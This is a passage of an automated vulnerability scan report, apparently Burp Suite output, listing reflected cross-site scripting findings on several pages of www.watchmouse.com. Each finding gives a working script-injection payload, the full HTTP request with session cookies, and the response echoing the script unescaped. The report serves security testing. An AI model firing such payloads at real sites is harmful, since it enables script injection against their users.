The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0d39"><script>alert(1)</script>83345a196c8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/management.php?e0d39"><script>alert(1)</script>83345a196c8=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2534c57b41fb7d87345a1dce9519a276"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/management.php?e0d39"><script>alert(1)</script>83345a196c8=1" method="post">
...[SNIP]...

1.494. http://www.watchmouse.com/en/media_contact.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/media_contact.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 625d3"><script>alert(1)</script>62c79d3d9ae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en625d3"><script>alert(1)</script>62c79d3d9ae/media_contact.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-80d369f8099ae6f086f5b28790abc825"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en625d3"><script>alert(1)</script>62c79d3d9ae/media_contact.php" method="post">
...[SNIP]...

1.495. http://www.watchmouse.com/en/media_contact.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/media_contact.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ad8e"><script>alert(1)</script>5d14b7094d7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/media_contact.php9ad8e"><script>alert(1)</script>5d14b7094d7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-42cbe231d1f8915d808dfd76e9d77606"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/media_contact.php9ad8e"><script>alert(1)</script>5d14b7094d7" method="post">
...[SNIP]...

1.496. http://www.watchmouse.com/en/media_contact.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/media_contact.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa2c7"><script>alert(1)</script>da68d8d35 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/media_contact.php?fa2c7"><script>alert(1)</script>da68d8d35=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-319368b5e3e73bd61d2f4b5a008af48a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 15688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/media_contact.php?fa2c7"><script>alert(1)</script>da68d8d35=1" method="post">
...[SNIP]...

1.497. http://www.watchmouse.com/en/my_subscription.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/my_subscription.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d13ac"><script>alert(1)</script>d193e4cf41c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /end13ac"><script>alert(1)</script>d193e4cf41c/my_subscription.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d208559d88e0fef748471202b3178f38"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/end13ac"><script>alert(1)</script>d193e4cf41c/my_subscription.php" method="post">
...[SNIP]...

1.498. http://www.watchmouse.com/en/my_subscription.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/my_subscription.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8187a"><script>alert(1)</script>8b94132c790 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/my_subscription.php8187a"><script>alert(1)</script>8b94132c790 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1799aef54a342d5cea0fcfcc7e27555d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/my_subscription.php8187a"><script>alert(1)</script>8b94132c790" method="post">
...[SNIP]...

1.499. http://www.watchmouse.com/en/my_subscription.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/my_subscription.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb512"><script>alert(1)</script>c18089a26a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/my_subscription.php?fb512"><script>alert(1)</script>c18089a26a0=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:51 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e13d9132d46e1f013868c65045864cbb"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/my_subscription.php?fb512"><script>alert(1)</script>c18089a26a0=1" method="post">
...[SNIP]...

1.500. http://www.watchmouse.com/en/my_subscription.php [vpackid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/my_subscription.php

Issue detail

The value of the vpackid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75827"><script>alert(1)</script>fa39f9d05db was submitted in the vpackid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/my_subscription.php?vpackid=19575827"><script>alert(1)</script>fa39f9d05db&vaction=customize HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0219dd0e329245d9a26b24630a2ff6b5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 96488

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/my_subscription.php?vpackid=19575827"><script>alert(1)</script>fa39f9d05db&vaction=customize" method="post">
...[SNIP]...

1.501. http://www.watchmouse.com/en/newsletters.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/newsletters.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 57225"><script>alert(1)</script>1f6547819ed was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en57225"><script>alert(1)</script>1f6547819ed/newsletters.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f74dd020ce3f3de60d43ff5febff386b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en57225"><script>alert(1)</script>1f6547819ed/newsletters.php" method="post">
...[SNIP]...

1.502. http://www.watchmouse.com/en/newsletters.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/newsletters.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fddef"><script>alert(1)</script>f539ffacd0b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/newsletters.phpfddef"><script>alert(1)</script>f539ffacd0b HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2ae96d84b500aa48b33f07ae27291339"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/newsletters.phpfddef"><script>alert(1)</script>f539ffacd0b" method="post">
...[SNIP]...

1.503. http://www.watchmouse.com/en/newsletters.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/newsletters.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0706"><script>alert(1)</script>1cd1afd9ac5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/newsletters.php?f0706"><script>alert(1)</script>1cd1afd9ac5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d8710cfce66cf8d887b5fae4444d6dbc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/newsletters.php?f0706"><script>alert(1)</script>1cd1afd9ac5=1" method="post">
...[SNIP]...

1.504. http://www.watchmouse.com/en/non_profit_offering.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/non_profit_offering.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ee22"><script>alert(1)</script>953163f9df9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en3ee22"><script>alert(1)</script>953163f9df9/non_profit_offering.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-8a15e285b36be76953fdb5bc55e90a25"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en3ee22"><script>alert(1)</script>953163f9df9/non_profit_offering.php" method="post">
...[SNIP]...

1.505. http://www.watchmouse.com/en/non_profit_offering.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/non_profit_offering.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e467"><script>alert(1)</script>b4d7b522153 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/non_profit_offering.php4e467"><script>alert(1)</script>b4d7b522153 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-96278a0a0e18cdf9a7c68c60ef6545ab"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13154

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/non_profit_offering.php4e467"><script>alert(1)</script>b4d7b522153" method="post">
...[SNIP]...

1.506. http://www.watchmouse.com/en/non_profit_offering.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/non_profit_offering.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89f8a"><script>alert(1)</script>c74a747cb5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/non_profit_offering.php?89f8a"><script>alert(1)</script>c74a747cb5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-bdc8a9c092288881895e9b1725c491d5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14194

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/non_profit_offering.php?89f8a"><script>alert(1)</script>c74a747cb5=1" method="post">
...[SNIP]...

1.507. http://www.watchmouse.com/en/our_promise.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/our_promise.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a38c0"><script>alert(1)</script>5e615693d87 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ena38c0"><script>alert(1)</script>5e615693d87/our_promise.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
